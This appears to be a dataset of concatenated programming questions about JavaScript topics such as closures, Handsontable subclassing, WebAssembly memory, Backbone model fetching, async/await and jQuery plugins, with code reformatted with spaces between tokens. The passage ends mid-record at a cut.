this example use closures ? I know it has functions within functions , but is there a case where the outer variables being preserved is being used ? Am I using them without knowing it ? ThanksUpdateWould this make a closure if I placed this beneath the $ ( document ) .ready ( init ) ; statement ? Could it then be , if I wanted to make the text scroll down from anywhere else in JavaScript , I could doAnother UpdateWow , looks like that worked ! Here is the code on JSbin . Note the page scroller does n't exactly work in this example ( it does n't seem to go to the bottom of the text ) , but that 's OK : ) Bonus points for anyone that can tell me why it 's not scrolling to the bottom . var pageScroll = ( function ( ) { var $ page , $ next , $ prev , canScroll = true , textHeight , scrollHeight ; var init = function ( ) { $ page = $ ( ' # secondary-page ' ) ; // reset text $ page.scrollTop ( 0 ) ; textHeight = $ page.outerHeight ( ) ; scrollHeight = $ page.attr ( 'scrollHeight ' ) ; if ( textHeight === scrollHeight ) { // not enough text to scroll return false ; } ; $ page.after ( ' < div id= '' page-controls '' > < button id= '' page-prev '' > prev < /button > < button id= '' page-next '' > next < /button > < /div > ' ) ; $ next = $ ( ' # page-next ' ) ; $ prev = $ ( ' # page-prev ' ) ; $ prev.hide ( ) ; $ next.click ( scrollDown ) ; $ prev.click ( scrollUp ) ; } ; var scrollDown = function ( ) { if ( ! canScroll ) return ; canScroll = false ; var scrollTop = $ page.scrollTop ( ) ; $ prev.fadeIn ( 500 ) ; if ( scrollTop == textHeight ) { // can we scroll any lower ? $ next.fadeOut ( 500 ) ; } $ page.animate ( { scrollTop : '+= ' + textHeight + 'px ' } , 500 , function ( ) { canScroll = true ; } ) ; } ; var scrollUp = function ( ) { $ next.fadeIn ( 500 ) ; $ prev.fadeOut ( 500 ) ; $ page.animate ( { scrollTop : 0 } , 500 ) ; } ; $ ( document ) .ready ( init ) ; } ( ) ) ; return { scrollDown : scrollDown } ; pageScroll.scrollDown ( ) ;",Does this incorporate JavaScript closures ? "JS : I 'm trying to create a wrapper around Handsontable , to provide some additional features . I 've tried doing the following and although the constructor works , the loadData function does n't seem to get overridden . Any advice ? I 've tested this in Chrome 45.0.2454.101m.EDIT : After reading that Chrome does n't yet fully support ECMA6 , I 've tried the following , but ca n't quite figure out how to call the parent loadData method.EDIT : Following @ ZekeDroids tip to use Babel , I get the following error when its attempting to call the super classes loadData function : Babel code : `` use strict '' ; class CustomHandsontable extends Handsontable { constructor ( container , options ) { console.log ( `` in constructor '' ) ; super ( container , options ) ; } loadData ( data ) { console.log ( `` load data '' ) ; super.loadData ( data ) ; } } function CustomHandsontable ( container , options ) { console.log ( `` constructor '' ) ; this.loadData = function ( data ) { console.log ( `` loadData '' ) ; // TODO how do you call the parent load data function ? } } ; CustomHandsontable.prototype = Object.create ( Handsontable.prototype ) ; CustomHandsontable.prototype.constructor = CustomHandsontable ; Uncaught TypeError : Can not read property 'call ' of undefined `` use strict '' ; var _createClass = ( function ( ) { function defineProperties ( target , props ) { for ( var i = 0 ; i < props.length ; i++ ) { var descriptor = props [ i ] ; descriptor.enumerable = descriptor.enumerable || false ; descriptor.configurable = true ; if ( `` value '' in descriptor ) descriptor.writable = true ; Object.defineProperty ( target , descriptor.key , descriptor ) ; } } return function ( Constructor , protoProps , staticProps ) { if ( protoProps ) defineProperties ( Constructor.prototype , protoProps ) ; if ( staticProps ) defineProperties ( Constructor , staticProps ) ; return Constructor ; } ; } ) ( ) ; var _get = function get ( _x , _x2 , _x3 ) { var _again = true ; _function : while ( _again ) { var object = _x , property = _x2 , receiver = _x3 ; desc = parent = getter = undefined ; _again = false ; if ( object === null ) object = Function.prototype ; var desc = Object.getOwnPropertyDescriptor ( object , property ) ; if ( desc === undefined ) { var parent = Object.getPrototypeOf ( object ) ; if ( parent === null ) { return undefined ; } else { _x = parent ; _x2 = property ; _x3 = receiver ; _again = true ; continue _function ; } } else if ( `` value '' in desc ) { return desc.value ; } else { var getter = desc.get ; if ( getter === undefined ) { return undefined ; } return getter.call ( receiver ) ; } } } ; function _classCallCheck ( instance , Constructor ) { if ( ! ( instance instanceof Constructor ) ) { throw new TypeError ( `` Can not call a class as a function '' ) ; } } function _inherits ( subClass , superClass ) { if ( typeof superClass ! == `` function '' & & superClass ! == null ) { throw new TypeError ( `` Super expression must either be null or a function , not `` + typeof superClass ) ; } subClass.prototype = Object.create ( superClass & & superClass.prototype , { constructor : { value : subClass , enumerable : false , writable : true , configurable : true } } ) ; if ( superClass ) Object.setPrototypeOf ? Object.setPrototypeOf ( subClass , superClass ) : subClass.__proto__ = superClass ; } var Hot = ( function ( _Handsontable ) { _inherits ( Hot , _Handsontable ) ; function Hot ( localOptions , container , options ) { _classCallCheck ( this , Hot ) ; console.log ( `` in constructor '' ) ; _get ( Object.getPrototypeOf ( Hot.prototype ) , `` constructor '' , this ) .call ( this , container , options ) ; } _createClass ( Hot , [ { key : `` loadData '' , value : function loadData ( data ) { console.log ( `` load data '' ) ; _get ( Object.getPrototypeOf ( Hot.prototype ) , `` loadData '' , this ) .call ( this , data ) ; } } ] ) ; return Hot ; } ) ( Handsontable ) ;",Extending Handsontable "JS : The below code returns a pop-up window with 'hello'.But the below code returns an error `` TypeError : Illegal invocation '' .What is the difference in the implements of alert and console.log ? alert.call ( this , 'hello ' ) ; console.log.call ( this , 'hello ' ) ;",Why ca n't console.log be called using .call ( ) "JS : Consider the following C++ : It will compile from Clang/LLVM to the WASM bytecode inserted in the playground below.WAST for readability : MYVAR will expose a pointer to the variable when called from js . But how do I access the actual memory with the new js API ? The memory constructor seems to erase the entry when initialising , but I´m not sure if I´m interpreting this correctly.As a side note the Module does not have an exports property as specified in the specs , but this , again , might be a misinterpretation.Playground : int MYVAR = 8 ; ( module ( table ( ; 0 ; ) 0 anyfunc ) ( memory ( ; 0 ; ) 1 ) ( global ( ; 0 ; ) i32 ( i32.const 0 ) ) ( export `` MYVAR '' ( global 0 ) ) ( data ( i32.const 0 ) `` \08\00\00\00 '' ) ) < ! doctype html > < html > < head > < meta charset= '' utf-8 '' > < title > MEMORY ACCESS TEST < /title > < /head > < div > < h1 style= '' display : inline ; '' > MEMORY LOCATION : < /h1 > < h1 id='POINTER ' style= '' display : inline ; '' > < /h1 > < /div > < div > < h1 style= '' display : inline ; '' > VALUE : < /h1 > < h1 id='VALUE ' style= '' display : inline ; '' > < /h1 > < /div > < body > < script > var bytecode = new Uint8Array ( [ 0x00 , 0x61 , 0x73 , 0x6D , 0x01 , 0x00 , 0x00 , 0x00 , 0x04 , 0x84 , 0x80 , 0x80 , 0x80 , 0x00 , 0x01 , 0x70 , 0x00 , 0x00 , 0x05 , 0x83 , 0x80 , 0x80 , 0x80 , 0x00 , 0x01 , 0x00 , 0x01 , 0x06 , 0x86 , 0x80 , 0x80 , 0x80 , 0x00 , 0x01 , 0x7F , 0x00 , 0x41 , 0x00 , 0x0B , 0x07 , 0x89 , 0x80 , 0x80 , 0x80 , 0x00 , 0x01 , 0x05 , 0x4D , 0x59 , 0x56 , 0x41 , 0x52 , 0x03 , 0x00 , 0x0B , 0x8A , 0x80 , 0x80 , 0x80 , 0x00 , 0x01 , 0x00 , 0x41 , 0x00 , 0x0B , 0x04 , 0x08 , 0x00 , 0x00 , 0x00 , 0x00 , 0x96 , 0x80 , 0x80 , 0x80 , 0x00 , 0x07 , 0x6C , 0x69 , 0x6E , 0x6B , 0x69 , 0x6E , 0x67 , 0x03 , 0x81 , 0x80 , 0x80 , 0x80 , 0x00 , 0x04 , 0x04 , 0x81 , 0x80 , 0x80 , 0x80 , 0x00 , 0x04 ] ) ; WebAssembly.instantiate ( bytecode ) .then ( function ( wasm ) { console.log ( wasm.module ) ; console.log ( wasm.instance ) ; let pointer = wasm.instance.exports.MYVAR ; document.getElementById ( 'POINTER ' ) .innerHTML = pointer ; let memory = new WebAssembly.Memory ( { initial : 1 } ) ; let intView = new Uint32Array ( memory.buffer ) ; document.getElementById ( 'VALUE ' ) .innerHTML = intView [ pointer ] ; } ) ; < /script > < /body > < /html >",How do I access compiled memory in WebAssembly from js "JS : Let 's assume I have a proper Date object constructed from the string : `` Tue Jan 12 21:33:28 +0000 2010 '' . Then I use the < and > less than and greater than comparison operators to see if it 's more or less recent than a similarly constructed Date . Is the algorithm for comparing dates using those operators specified , or is it specifically unspecified , like localeCompare ? In other words , am I guaranteed to get a more recent date , this way ? var dateString = `` Tue Jan 12 21:33:28 +0000 2010 '' ; var twitterDate = new Date ( dateString ) ; var now = new Date ( ) ; if ( now < twitterDate ) { // the date is in the future }",How does JS date comparison work ? "JS : I have this html and css : http : //jsfiddle.net/b7rDL/6/HTML : css : This code allows me to write text with no width limit or height limit . It displays no scroll bar and it grows with the text . Those are basically the features I need . How can I convert this to regular textarea that will act the same ? I want this to work on browser that does n't implemented `` contenteditable '' . Therefore I want to replace the div with textarea or other basiv element . How can I do it ? ( I do n't mind using JavaScript ) . How can I disable the spellchecker ? spellcheck=false does n't work . In the example , when I focus on the text box , I get that buggy red line . I am using Firefox . How can I get rid of the border when I am focused ? - SOLVEDI do n't mind using JavaScript to solve those issues.Any answer for those questions will help me.ThanksUPDATES : @ Oylex helped me with 3 < div class= '' text-block '' contenteditable= '' true '' spellcheck= '' false '' > Some Text < /div > .text-block { resize : none ; font-size:40px ; border : none ; line-height : 1 ; -moz-appearance : textfield-multiline ; -webkit-appearance : textarea ; min-width : 30px ; overflow : visible ; white-space : nowrap ; display : inline-block ; }",textarea immitation is not working well . any replacements ? "JS : I seem to often end up in a situation where I am rendering a view , but the Model on which that view depends is not yet loaded . Most often , I have just the model 's ID taken from the URL , e.g . for a hypothetical market application , a user lands on the app with that URL : http : //example.org/ # /products/product0In my ProductView , I create a ProductModel and set its id , product0 and then I fetch ( ) . I render once with placeholders , and when the fetch completes , I re-render . But I 'm hoping there 's a better way.Waiting for the model to load before rendering anything feels unresponsive . Re-rendering causes flickering , and adding `` loading ... please wait '' or spinners everywhere makes the view templates very complicated ( esp . if the model fetch fails because the model does n't exist , or the user is n't authorized to view the page ) .So , what is the proper way to render a view when you do n't yet have the model ? Do I need to step awayfrom hashtag-views and use pushState ? Can the server give me a push ? I 'm all ears.Loading from an already-loaded page : I feel there 's more you can do when there 's already a page loaded as opposed to landing straight on the Product page . If the app renders a link to a Product page , say by rendering a ProductOrder collection , is there something more that can be done ? My natural way to handle this link-to-details-page pattern is to define a route which does something along these lines : I tend to then call fetch ( ) inside the view 's initialize function , and call this.render ( ) from an this.listenTo ( 'change ' , ... ) event listener . This leads to complicated render ( ) cases , and objects appearing and disappearing from view . For instance , my view template for a Product might reserve some screen real-estate for user comments , but if and only if comments are present/enabled on the product -- and that is generally not known before the model is completely fetched from the server.Now , where/when is it best to do the fetch ? If I load the model before the page transition , it leads to straightforward view code , but introduces delays perceptible to the user . The user would click on an item in the list , and would have to wait ( without the page changing ) for the model to be returned . Response times are important , and I have n't done a usability study on this , but I think users are used to see pages change immediately as soon as they click a link.If I load the model inside the ProductView 's initialize , with this.model.fetch ( ) and listen for model events , I am forced to render twice , -- once before with empty placeholders ( because otherwise you have to stare at a white page ) , and once after . If an error occurs during loading , then I have to wipe the view ( which appears flickery/glitchy ) and show some error.Is there another option I am not seeing , perhaps involving a transitional loading page that can be reused between views ? Or is good practice to always make the first call to render ( ) display some spinners/loading indicators ? Edit : Loading via collection.fetch ( ) One may suggest that because the items are already part of the collection listed ( the collection used to render the list of links ) , they could be fetched before the link is clicked , with collection.fetch ( ) . If the collection was indeed a collection of Product , then it would be easy to render the product view.The Collection used to generate the list may not be a ProductCollection however . It may be a ProductOrderCollection or something else that simply has a reference to a product id ( or some sufficient amount of product information to render a link to it ) .Fetching all Product via a collection.fetch ( ) may also be prohibitive if the Product model is big , esp . in the off-chance that one of the product links gets clicked.The chicken or the egg ? The collection.fetch ( ) approach also does n't really solve the problem for users that navigate directly to a product page ... in this case we still need to render a ProductView page that requires a Product model to be fetched from just an id ( or whatever 's in the product page URL ) . < ul id= '' product-order-list '' > < li > Ordered 5 days ago . Product 0 < a href= '' # /products/product0 '' > ( see details ) < /a > < /li > < li > Ordered 1 month ago . Product 1 < a href= '' # /products/product1 '' > ( see details ) < /a > < /li > < /ul > routes : { 'products/ : productid ' : 'showProduct ' ... } showProduct : function ( productid ) { var model = new Product ( { _id : productid } ) ; var view = new ProductView ( { model : model } ) ; //just jam it in there -- for brevity $ ( `` # main '' ) .html ( view.render ( ) .el ) ; }",At which point does one fetch a Backbone Model on which a view depends ? "JS : I 'm upgrading from Gulp 3 to 4 , and I 'm running into an error : I understand what it 's saying , but ca n't understand why this code is triggering it.Error or not , the task completes ( the files are concatenated and written to dest ) . Executing the same code without lazypipe results in no error , and removing the concatenation within lazypipe also fixes the error.Wrapping the whole thing in something that creates a stream ( like merge-stream ) fixes the issue . I guess something about the interaction between gulp-concat and lazypipe is preventing a stream from being correctly returned.Here 's the ( simplified ) task : Any advice appreciated ! The following tasks did not complete : buildDid you forget to signal async completion ? gulp.task ( 'build ' , function ( ) { var dest = 'build ' ; var buildFiles = lazypipe ( ) .pipe ( plugins.concat , 'cat.js ' ) // Task will complete if I remove this .pipe ( gulp.dest , dest ) ; // This works // return gulp.src ( src ( 'js/**/*.js ' ) ) // .pipe ( plugins.concat ( 'cat.js ' ) ) // .pipe ( gulp.dest ( dest ) ) ; // This does n't ( unless you wrap it in a stream-making function ) return gulp.src ( src ( 'js/**/*.js ' ) ) .pipe ( buildFiles ( ) ) ; } ) ;",What about this combination of gulp-concat and lazypipe is causing an error using gulp 4 ? "JS : Referencesjquery commentsThe jquery comments documentationthis issue in githubAttachmentscomments-data.js is test data : Download herejquery-comments.js creates the whole comments system : Download herejquery-comments.min.js if you require it : Download hereDescriptionI have a view with a list of `` articles '' with a `` read more '' button on each `` article '' in the list . When I click on the read more button a modal opens up with a partial view with the jquery comments in it . However , when I search for the pinged users ( using the @ sign ) , the list of users do n't show by the textarea , but instead higher up in the modal ( far from the textarea ) .Below is an image , then below that is my code . You will see at the bottom of the image I have put the ' @ ' sign and the list of users is displayed on the top , it should be by the textarea . It also seems that when I click on the articles lower in the list , the higher the list of users display when I push the ' @ ' sign : MVC ViewBelow is the part populating the `` Articles '' from where the Modal is being called from : ModalThis is placed at the top of the page ( Under the @ model appname.ViewModels.VM ) : Jquery CodeMVC Partial ViewAt the bottom of the partial view is this div where it is populated : EDITAfter spending quite some time running through the jquery-comments.js file , I found that displaying of the pinged users its happening here : This seems to be taking the css ( 'top ' ) of View , which causes the problem on the pinging of the users on the partialview . @ { int iGroupNameId = 0 ; int iTotalArticles = 0 ; foreach ( var groupItems in Model.ArticleGroups ) { iTotalArticles = Model.ArticlesList.Where ( x = > x.fkiGroupNameId == groupItems.pkiKnowledgeSharingCenterGroupsId ) .Count ( ) ; if ( iTotalArticles > 0 ) { < div style= '' background : linear-gradient ( # B5012E , darkred ) ; margin : 10px ; padding : 10px ; font-weight : bold ; color : white ; text-transform : uppercase ; '' > @ groupItems.GroupName < /div > < div class= '' container '' style= '' width:100 % '' > @ if ( groupItems.pkiKnowledgeSharingCenterGroupsId ! = iGroupNameId ) { foreach ( var item in Model.ArticlesList.Where ( x = > x.fkiGroupNameId == groupItems.pkiKnowledgeSharingCenterGroupsId ) ) { < div class= '' row '' > < div class= '' col-md-4 '' > @ if ( User.IsInRole ( `` Administrator '' ) ) { < div class= '' pull-right '' > < div class= '' btn-group '' > < button class= '' btn dropdown-toggle btn-xs btn-info '' data-toggle= '' dropdown '' > < i class= '' fa fa-gear '' > < /i > < i class= '' fa fa-caret-down '' > < /i > < /button > < ul class= '' dropdown-menu pull-right '' > < li > < a href= '' @ Url.Action ( `` EditArticle '' , `` ILearn '' , new { id = item.KnowledgeSharingArticlesId } ) '' > Edit < /a > < /li > < li class= '' divider '' > < /li > < li > < a href= '' @ Url.Action ( `` DeleteArticle '' , `` ILearn '' , new { id = item.KnowledgeSharingArticlesId } ) '' > Delete < /a > < /li > < /ul > < /div > < /div > } < img src= '' @ item.ArticleImage '' class= '' img-responsive '' alt= '' img '' style= '' width:350px ; height:200px '' > < ul class= '' list-inline padding-10 '' > < li > < i class= '' fa fa-calendar '' > < /i > @ item.DateTimeStamp.ToLongDateString ( ) < /li > < li > < i class= '' fa fa-comments '' > < /i > @ item.ArticleComments < /li > < li > < i class= '' fa fa-eye '' > < /i > @ item.ArticleViews < /li > < /ul > < /div > < div class= '' col-md-8 padding-left-0 '' > < h6 class= '' margin-top-0 '' > < span style= '' font-size : large '' > @ item.Title < /span > < br > < small class= '' font-xs '' > < i > Published by < a href= '' @ Url.Action ( `` GetProfileData '' , '' UserProfile '' , new { userid = item.fkiUserId } ) '' > @ item.User_FullName < /a > < /i > < /small > < /h6 > < p > @ Html.Raw ( item.Description ) < /p > @ * < a class= '' btn btn-danger '' href= '' @ Url.Action ( `` ShowArticleDetails '' , `` ILearn '' , new { id = item.KnowledgeSharingArticlesId } ) '' > Read more < /a > * @ < button type= '' button '' onclick= '' showArticle ( ' @ item.KnowledgeSharingArticlesId ' ) '' class= '' btn btn-danger '' data-target= '' # show-details-modal '' data-toggle= '' modal '' > Read more < /button > < /div > < /div > < hr > } } < /div > } } } < ! -- Loading Panel -- > < div id= '' loadingPanel '' style= '' display : none ; '' > < div class= '' progress progress-striped active '' > < div class= '' progress-bar progress-bar-info '' style= '' width : 100 % '' > ... LOADING ... < /div > < /div > < /div > < ! -- Show details modal -- > < div id= '' show-details-modal '' class= '' modal fade '' style= '' width:100 % '' > < div class= '' modal-dialog modal-xl '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-hidden= '' true '' > & times ; < /button > < h4 class= '' modal-title '' > < /h4 > < div id= '' loadingPanelShowDetails '' class= '' col-md-12 text-center '' style= '' display : none ; '' > < br / > < div class= '' progress progress-striped active '' > < div class= '' progress-bar progress-bar-info '' style= '' width : 100 % '' > ... LOADING ... < /div > < /div > < /div > < div id= '' target-show-details '' > < /div > < /div > < /div > < /div > < /div > function showArticle ( id ) { $ ( `` # target-show-details '' ) .html ( `` ) ; $ ( ' # loadingPanelShowDetails ' ) .show ( ) ; $ .ajax ( { type : 'get ' , url : ' @ Url.Action ( `` ShowArticleDetails '' , `` ILearn '' ) ' , contentType : 'application/json ; charset=utf-8 ' , dataType : 'html ' , data : { `` id '' : id } , success : function ( result ) { $ ( `` # target-show-details '' ) .html ( result ) ; $ ( ' # loadingPanelShowDetails ' ) .hide ( ) ; var saveComment = function ( data ) { $ ( data.pings ) .each ( function ( index , id ) { var user = usersArray.filter ( function ( user ) { return user.id == id } ) [ 0 ] ; alert ( user.fullname ) ; data.content = data.content.replace ( ' @ @ ' + id , ' @ @ ' + user.fullname ) ; } ) ; return data ; } $ ( ' # articlecomments-container ' ) .comments ( { profilePictureURL : 'https : //viima-app.s3.amazonaws.com/media/public/defaults/user-icon.png ' , currentUserId : 1 , roundProfilePictures : true , textareaRows : 1 , enableAttachments : true , enableHashtags : true , enablePinging : true , getUsers : function ( success , error ) { $ .ajax ( { type : 'get ' , traditional : true , url : ' @ Url.Action ( `` GetPinnedUsers '' , `` ILearn '' ) ' , success : function ( usersArray ) { success ( usersArray ) } , error : error } ) ; } , getComments : function ( success , error ) { $ .ajax ( { type : 'get ' , traditional : true , data : { `` id '' : id } , url : ' @ Url.Action ( `` GetArticleComments '' , `` ILearn '' ) ' , success : function ( commentsArray ) { success ( saveComment ( commentsArray ) ) } , error : error } ) ; } , postComment : function ( data , success , error ) { $ .ajax ( { type : 'post ' , dataType : `` json '' , url : ' @ Url.Action ( `` PostArticleComment '' , `` ILearn '' ) ' , data : { `` CVM '' : data , `` articleId '' : id } , success : function ( comment ) { success ( comment ) ; } , error : error } ) ; } , putComment : function ( data , success , error ) { $ .ajax ( { type : 'post ' , dataType : `` json '' , url : ' @ Url.Action ( `` PutArticleComment '' , `` ILearn '' ) ' , data : { `` CVM '' : data , `` articleId '' : id } , success : function ( comment ) { success ( comment ) ; } , error : error } ) ; } , deleteComment : function ( data , success , error ) { $ .SmartMessageBox ( { title : `` Deleting Comment ? `` , content : `` Are you sure that you want to delete this comment ? `` , buttons : ' [ No ] [ Yes ] ' } , function ( ButtonPressed ) { if ( ButtonPressed === `` Yes '' ) { $ .ajax ( { type : 'post ' , dataType : `` json '' , url : ' @ Url.Action ( `` DeleteArticleComment '' , `` ILearn '' ) ' , data : { `` CVM '' : data , `` articleId '' : id } , success : function ( data ) { if ( data.status === `` usersuccess '' ) { $ .smallBox ( { title : `` < strong > Comment Deleted < /strong > '' , content : `` < i class='fa fa-clock-o ' > < /i > < i > Comment was successfully deleted ! < strong < /strong > < /i > '' , color : `` # 659265 '' , iconSmall : `` fa fa-check fa-2x fadeInRight animated '' , timeout : 4000 } ) ; success ( ) ; } else { success ( ) ; } } } ) ; } if ( ButtonPressed === `` No '' ) { $ .smallBox ( { title : `` < strong > Comment not deleted < /strong > '' , content : `` < i class='fa fa-clock-o ' > < /i > < i > This comment has not been deleted. < /i > '' , color : `` # C46A69 '' , iconSmall : `` fa fa-times fa-2x fadeInRight animated '' , timeout : 4000 } ) ; } } ) ; e.preventDefault ( ) ; } , upvoteComment : function ( data , success , error ) { if ( data.user_has_upvoted ) { $ .ajax ( { type : 'post ' , dataType : `` json '' , url : ' @ Url.Action ( `` UpVoteArticleComment '' , `` ILearn '' ) ' , data : { `` CVM '' : data , `` articleId '' : id } , success : function ( ) { success ( data ) } , error : error } ) ; } else { $ .ajax ( { type : 'post ' , url : ' @ Url.Action ( `` DeleteArticleCommentUpvote '' , `` ILearn '' ) ' , data : { `` commentId '' : data.id } , success : function ( ) { success ( commentJSON ) } , error : error } ) ; } } , uploadAttachments : function ( commentArray , success , error ) { var responses = 0 ; var successfulUploads = [ ] ; var serverResponded = function ( ) { responses++ ; // Check if all requests have finished if ( responses == commentArray.length ) { // Case : all failed if ( successfulUploads.length == 0 ) { error ( ) ; // Case : some succeeded } else { success ( successfulUploads ) } } } $ ( commentArray ) .each ( function ( index , commentJSON ) { // Create form data var formData = new FormData ( ) ; $ ( Object.keys ( commentJSON ) ) .each ( function ( index , key ) { var value = commentJSON [ key ] ; if ( value ) formData.append ( key , value ) ; } ) ; formData.append ( 'fkiKnowledgeSharingArticlesId ' , id ) ; $ .ajax ( { url : ' @ Url.Action ( `` UploadToArticleComments '' , `` ILearn '' ) ' , type : 'POST ' , data : formData , cache : false , contentType : false , processData : false , success : function ( commentJSON ) { successfulUploads.push ( commentJSON ) ; serverResponded ( ) ; } , error : function ( data ) { serverResponded ( ) ; } , } ) ; } ) ; } } ) ; } , error : function ( xhr , textStatus , errorThrown ) { alert ( xhr.responseText ) ; } } ) ; } @ model Innovation_Cafe.Models.KnowledgeSharingArticles < div class= '' col-lg-12 '' > < div class= '' margin-top-10 '' > < div style= '' text-align : center ; border : solid ; border-style : solid '' > < img src= '' @ Model.ArticleImage '' class= '' img-responsive '' alt= '' img '' style= '' width:100 % ; '' > < /div > < ul class= '' list-inline padding-10 '' > < li > < i class= '' fa fa-calendar '' > < /i > @ Model.DateTimeStamp.ToLongDateString ( ) < /li > < li > < i class= '' fa fa-comments '' > < /i > @ Model.ArticleComments < /li > < li > < i class= '' fa fa-eye '' > < /i > @ Model.ArticleViews < /li > < /ul > < /div > < /div > < div class= '' col-lg-12 '' > < h6 class= '' margin-top-0 '' > @ Model.Title < br > < small class= '' font-xs '' > < i > Published by < a href= '' @ Url.Action ( `` GetProfileData '' , '' UserProfile '' , new { userid=Model.fkiUserId } ) '' > @ Model.User_FullName < /a > < /i > < /small > < /h6 > < br / > < p > @ Html.Raw ( Model.Description ) < /p > < p > @ if ( Model.FileType == `` .mp4 '' ) { < div style= '' text-align : center ; border-style : solid '' > < video controls width= '' 100 % '' > < source src= '' @ Model.FilePath '' type= '' video/mp4 '' / > < /video > < /div > } else { if ( Model.FilePath ! =null ) { < p > Click here to view file : < a href= '' @ Model.FilePath '' target= '' _blank '' > Click here < /a > < /p > } } < /div > < div class= '' col-md-12 '' > < p > & nbsp ; < /p > < hr style= '' border : solid '' / > < /div > < div class= '' row col-md-12 '' > < div class= '' col-md-12 '' id= '' articlecomments-container '' > < /div > < /div > < div class= '' row col-md-12 '' > < div class= '' col-md-12 '' id= '' articlecomments-container '' > < /div > < /div > // CUSTOM CODE // ======================================================================================================================================================================================== // Adjust vertical position var top = parseInt ( this. $ el.css ( 'top ' ) ) + self.options.scrollContainer.scrollTop ( ) ; this. $ el.css ( 'top ' , top ) ;",Viima JQuery Comments - GetUsers ( Pinged users ) displaying incorrectly in partialview "JS : I 've tried reading guides and tutorials to async/await , but I ca n't seem to find this addressed anywhere.Here is the code in question : We see `` Func1 '' and `` Func2 '' get printed immediately , one after the other . 5 seconds later , the timeout specified in func2 , we get `` 10 '' and `` 20 '' printed . So far so good.But if I change the last bit of code to this : Then I see `` Func1 '' immediately printed , but `` Func2 '' as well , even though the console.log ( var1 ) comes before it . After 100ms comes `` 10 '' , then after 5 seconds comes `` 20 '' .From MDN : The await expression causes async function execution to pause until a Promise is fulfilled or rejected , and to resume execution of the async function after fulfillment . But it does n't seem like this is what 's happening . If it was , would n't we see `` Func1 '' , then `` 10 '' , THEN func2 gets executed , thus printing `` Func2 '' and 5 seconds later we get `` 20 '' ? func1 should be executed , and once it is resolved ( in 100 ms ) , console.log ( var1 ) should fire . What am I missing here ? var func1 = new Promise ( ( resolve , reject ) = > { console.log ( `` Func1 '' ) ; setTimeout ( ( ) = > { resolve ( 10 ) ; } , 100 ) ; } ) ; var func2 = new Promise ( ( resolve , reject ) = > { console.log ( `` Func2 '' ) ; setTimeout ( ( ) = > { resolve ( 20 ) ; } , 5000 ) ; } ) let run = async ( ) = > { let var1 = await func1 ; let var2 = await func2 ; console.log ( var1 ) ; console.log ( var2 ) ; } run ( ) ; let run = async ( ) = > { let var1 = await func1 ; console.log ( var1 ) ; let var2 = await func2 ; console.log ( var2 ) ; }",Why does this JavaScript async/await code not behave as expected ? "JS : I 'm trying to listen to click events ( To be exact , magnet pull from google cardboard ) on Android Chrome , but this seems to not work if the device goes into VR mode . I 'm using Samsung Galaxy S7 for testing : JS : On Samsung 's built in Android browser , the log is printed both in and out of VR mode . In Android Chrome , logging is only shown when the browser is not in VR mode . HTML : I 'm using A-Frame ver 0.7.0 , but this issue is reproducible just from using native WebVR APIs as well.I thought the canvas might be consuming the click events , so I tried to add the eventlistener to Canvas directly . This also did not work.Is this a bug in Chrome ? Is there any workaround ? I just need to be able to listen to button presses . window.addEventListener ( 'click ' , function ( evt ) { console.log ( `` test '' ) } ) ; < a-entity camera= '' userHeight : 1.6 '' restrict-position look-controls > < a-entity cursor= '' fuse : true ; fuseTimeout : 500 '' position= '' 0 0 -1 '' geometry= '' primitive : ring ; radiusInner : 0.02 ; radiusOuter : 0.03 '' material= '' color : black ; shader : flat '' > < /a-entity > < /a-entity >",How to listen to click event on Android Chrome in WebVR/A-Frame ? "JS : Is there some way to make a function just like the setInterval but the timeout to be exactly the same each time.In setInterval the timeout varies about the given timeout , a little bit more , a little bit less , but very rare exactly the same.For example : prints 50000,50002 , 50005 , 50994 , 50997 , 49999 , 50003 , 49998 and so on.I want to be printed always 50000 var before = new Date ( ) .getTime ( ) ; setInterval ( function ( ) { var after = new Date ( ) .getTime ( ) ; newTab.window.location=someURL ; console.log ( ( after - before ) ) ; before = after ; } , 50000 ) ;",setInterval with exact timeout "JS : I need to do something like : But the prepended whitespace wo n't show or show as & nbsp ; in text . I 've tried : ... with no effect . Is there anyway to access the SVG node in Raphael JS so I can set ( or is there any other way to solve this ? ) paper.text ( Left , Top , `` `` + this._p.Label + `` : '' ) ; paper.text ( Left , Top , `` & nbsp ; '' + this._p.Label + `` : '' ) ; label.attr ( { `` xml : space '' : `` preserve '' } ) ; setAttributeNS ( `` http : //www.w3.org/XML/1998/namespace '' , '' space '' , '' preserve '' ) ;",& nbsp ; in Raphael JS JS : I have this HTML codeNow i want that if someone click on a.linkclass then i alert the text inside p tagI tried this but it did n't work < td > < div > < p > My Txt < /p > < /div > < div > < a class= '' linkclass '' > link1 < /a > < a > link2 < /a > < /div > < /td > $ ( this ) .closest ( ' p ' ) .text ( ) ;,Can the closest jquery function find child tags inside other tags "JS : I have a requirement to show stock number suggestions in a search box.So I tried using the Jquery autocomplete plugin . I am making an ajax call to a function inside my cfc which returns all thestock numbers in an array.But the problem is my search box is not showing the suggestions properly . I think this issue is because of numeric values.Any one faced the issue ? Here is a replica : The same is working fine with string data.How to fix it ? $ ( function ( ) { var availableTags = [ 1234 , 1456 , 1789 , 1988 , ] ; $ ( `` # tags '' ) .autocomplete ( { source : availableTags } ) ; } ) ; < title > jQuery UI Autocomplete - Default functionality < /title > < link rel= '' stylesheet '' href= '' //code.jquery.com/ui/1.11.2/themes/smoothness/jquery-ui.css '' > < script src= '' //code.jquery.com/jquery-1.10.2.js '' > < /script > < script src= '' //code.jquery.com/ui/1.11.2/jquery-ui.js '' > < /script > < body > < div class= '' ui-widget '' > < label for= '' tags '' > Tags : < /label > < input id= '' tags '' > < /div > < /body >",jquery autocomeplete plugin not working with numeric values ? "JS : As part of our internship we 've been tasked with creating a business application using Unity WebGL . After reading on interactions between JS and the C # code we 're in a corner.We 're trying to get back a list from C # to populate a Select on our webpage and we just do n't know how to do it . We 've followed the Unity documentation and can easily communicate and get back data to use in our C # from our webpage.We ca n't however access C # data in our browser . SendMessage ( ) method does not allow returns.Here 's our code so far index.htmljsfileC # code finallyYes we did check https : //docs.unity3d.com/Manual/webgl-interactingwithbrowserscripting.html and I 've made numerous research and found some interesting resources that I ca n't wrap my head around being too inexperienced , for example http : //tips.hecomi.com/entry/2014/12/08/002719 To conclude , I would like to point out it 's our first `` real world '' project and Unity-WebGL is quite an experience to play with seeing the lack of documentation . < select id= '' wallsSelect '' > < /select > function getWallsList ( ) { //function is called at the creation of our object var wallsSelect = document.getElementById ( 